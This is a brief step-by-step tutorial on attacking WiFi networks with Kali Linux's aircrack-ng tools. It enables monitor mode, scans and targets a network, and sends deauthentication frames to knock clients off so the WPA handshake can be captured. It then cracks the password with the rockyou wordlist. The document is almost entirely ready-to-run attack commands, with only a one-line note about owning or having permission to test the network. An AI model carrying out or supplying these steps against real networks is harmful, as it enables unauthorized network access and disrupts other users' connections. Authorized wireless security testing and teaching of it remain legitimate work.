Kali Linux WiFi Hacking — Capture Handshakes & Crack Passwords

WiFi Hacking with Kali Linux

WiFi is the most attacked network type because it broadcasts signals that anyone nearby can intercept.

Requirements

• Kali Linux installed
• Wireless adapter with monitor mode (Alfa AWUS036ACH recommended)
• Target network you OWN or have permission to test

Step 1: Enable Monitor Mode

sudo airmon-ng check kill
sudo airmon-ng start wlan0

Step 2: Scan for Networks

sudo airodump-ng wlan0mon

This shows ALL nearby WiFi networks with their BSSID, channel, encryption, clients, and signal strength.

Step 3: Target a Specific Network

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

Step 4: Force Handshake with Deauth

sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

This disconnects a client, forcing them to reconnect — capturing the 4-way handshake.

Step 5: Crack the Password

sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
